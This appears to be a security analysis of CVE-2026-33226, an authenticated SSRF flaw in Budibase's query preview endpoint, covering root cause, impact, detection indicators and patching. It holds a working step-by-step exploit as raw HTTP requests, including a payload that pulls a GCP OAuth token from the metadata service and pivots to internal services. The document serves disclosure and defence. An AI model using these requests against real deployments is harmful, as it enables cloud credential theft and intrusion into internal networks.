CVE-2026-33226: 
JavaScript vulnerability analysis and mitigation

CVE-2026-33226 is an unrestricted Server-Side Request Forgery (SSRF) vulnerability in Budibase affecting the REST datasource query preview endpoint (POST /api/queries/preview). It affects all Budibase versions up to and including 3.30.6 across all deployment environments (GCP, AWS, Azure, bare-metal, Docker Compose, Kubernetes). The vulnerability was discovered by Abdulrahman Albatel and Abdullah Alrasheed, published on March 18, 2026, and added to the NVD on March 20, 2026. It carries a CVSS v3.1 base score of 8.7 (High) (GitHub Advisory, Budibase Advisory).

The root cause is CWE-918 (Server-Side Request Forgery): the vulnerable handler in packages/server/src/api/controllers/query.ts (preview()) reads fields.path from the request body and passes it directly to the REST HTTP client (RestClient.read({ path }) → node-fetch(path)) without any IP or hostname validation. No blocklist exists for loopback addresses (127.0.0.1, ::1), RFC 1918 private ranges, link-local/cloud metadata addresses (169.254.x.x), or internal Kubernetes DNS (.svc.cluster.local). An attacker must supply a valid datasourceId referencing an existing REST-type datasource, which is trivially obtained via GET /api/datasources or created on-demand with a single POST request — no base URL is required since fields.path overrides it entirely (GitHub Advisory, Budibase Advisory).

Successful exploitation allows an authenticated admin or builder user to pivot the Budibase server into an internal network proxy, enabling cloud credential theft (confirmed GCP OAuth2 token with cloud-platform scope stolen from 169.254.169.254, granting full access to all GCP services), internal database access (CouchDB at budibase-svc-couchdb:5984 with extracted credentials exposing all application data), internal service enumeration (MinIO at minio-service:9000, Redis, and internal worker APIs at 127.0.0.1:4002), and Kubernetes cluster access via the pod's mounted service account token. The scope change in the CVSS score reflects that exploitation breaks out of the Budibase application boundary into the broader cloud and internal infrastructure (GitHub Advisory).

A complete proof-of-concept exploit with step-by-step HTTP requests is publicly available in the GitHub Security Advisory, rated with high confidence as a real, actionable attack sequence (Budibase Advisory). Exploitation requires authenticated admin or builder-level access, which limits opportunistic exploitation but is realistic in multi-tenant or shared Budibase deployments. There is no current evidence of in-the-wild exploitation, no known threat actor attribution, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.009–0.019%, indicating low but non-zero near-term exploitation probability (GitHub Advisory).

1. Authenticate to Budibase: Send a POST request to /api/global/auth/default/login with valid admin or builder credentials to obtain a session cookie (budibase:auth=<JWT>).

POST /api/global/auth/default/login HTTP/1.1
Host: budibase.dev.com
Content-Type: application/json

{"username": "admin@example.com", "password": "password"}

2. Enumerate REST datasources: Send a GET request to /api/datasources using the session cookie and a valid x-budibase-app-id header to retrieve the _id of any datasource with "source": "REST".

GET /api/datasources HTTP/1.1
Host: budibase.dev.com
Cookie: budibase:auth=<JWT>
x-budibase-app-id: app_dev_<appid>

3. Craft SSRF payload: Send a POST request to /api/queries/preview with the obtained datasourceId and set fields.path to the target internal URL (e.g., GCP metadata endpoint, CouchDB, Kubernetes API).

POST /api/queries/preview HTTP/1.1
Host: budibase.dev.com
Cookie: budibase:auth=<JWT>
x-budibase-app-id: app_dev_<appid>
Content-Type: application/json

{
  "datasourceId": "datasource_<id>",
  "name": "ssrf",
  "parameters": [],
  "transformer": "return data",
  "queryVerb": "read",
  "fields": {
    "path": "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token",
    "headers": {"Metadata-Flavor": "Google"},
    "queryString": "",
    "requestBody": ""
  },
  "schema": {}
}

4. Harvest credentials: The server responds with the GCP OAuth2 token (access_token, expires_in, token_type), which can be used against GCP APIs for full project access.
5. Pivot to internal services: Repeat Step 3 with alternative fields.path values targeting CouchDB (http://budibase-svc-couchdb:5984), MinIO (http://minio-service:9000), Redis, or the Kubernetes API (https://kubernetes.default.svc) to enumerate and access internal infrastructure (Budibase Advisory).

• Network: Outbound HTTP requests from the Budibase server process to 169.254.169.254 (cloud metadata), budibase-svc-couchdb:5984, minio-service:9000, 127.0.0.1:4002, or kubernetes.default.svc; unusual egress traffic to internal RFC 1918 or link-local addresses originating from the Budibase pod.
• Logs: Budibase API access logs showing repeated POST requests to /api/queries/preview with fields.path values pointing to internal or metadata URLs; GET requests to /api/datasources immediately followed by POST requests to /api/queries/preview from the same session.
• Application: Queries named ssrf or similar generic names in the Budibase query preview history; datasources created with no base URL but with fields.path overrides targeting internal addresses.
• Cloud: Unexpected GCP, AWS, or Azure API calls using instance metadata-derived tokens originating from the Budibase service account; access to GCP Projects API or IAM services from the Budibase pod's service account identity (Budibase Advisory).

The vendor has indicated a patch is available in Budibase version 3.30.7 or later — organizations should upgrade immediately (GitHub Advisory). As interim mitigations: restrict admin and builder user privileges to only those who genuinely require them; implement network-level egress controls on the Budibase pod to block access to cloud metadata endpoints (169.254.169.254), RFC 1918 ranges, and internal Kubernetes DNS. Additionally, rotate any cloud credentials, CouchDB passwords, and Kubernetes service account tokens that may have been exposed, and monitor Budibase API logs for suspicious requests to /api/queries/preview with internal target URLs.

The vulnerability received coverage from The Hacker Wire, which published a technical summary of the SSRF issue via the query preview endpoint (The Hacker Wire). Security community discussion was noted on Mastodon and Bluesky shortly after the CVE was published. The yazoul.net advisory blog also covered the issue with remediation guidance (Yazoul Advisory). Overall community sentiment highlighted the severity of cloud credential theft as a confirmed real-world impact, particularly for cloud-hosted Budibase deployments.